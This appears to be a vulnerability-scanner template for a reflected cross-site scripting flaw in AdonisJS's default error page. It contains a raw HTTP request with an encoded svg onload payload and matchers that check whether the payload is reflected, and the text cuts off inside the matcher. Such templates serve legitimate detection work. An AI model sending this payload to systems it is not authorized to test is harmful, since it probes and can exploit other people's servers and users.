id: CVE-2026-61526
info:
name: "AdonisJS - Reflected Cross-Site Scripting"
author: vedas-arpsyndicate
severity: medium
description: |
AdonisJS HTTP Server versions 8.0.0-next.0 through 8.2.0 and 9.0.0 through 9.0.2 are vulnerable to reflected
Cross-Site Scripting. When debug mode is disabled and no custom status page or JSON response handles the error,
the default HTML exception renderer interpolates error.message directly into the response body
(`
${error.message}
`) without HTML escaping. For a missing route the message is `Cannot GET:`,
so a crafted request URL places attacker-controlled markup into a text/html response, executing arbitrary
JavaScript when a victim opens the link. Fixed in versions 8.2.1 and 9.1.0 by escaping error.message.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-61526&match=exact
- https://subdomain.center/?engine=ammonites&keyword=adonisjs&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-61526
cwe-id: CWE-79
metadata:
verified: false
tags: cve,cve2026,adonisjs,xss
http:
- raw:
- |
GET /vedasINJ%22%3e%3csvg%2fonload%3dalert(1)%3e HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'vedasINJ">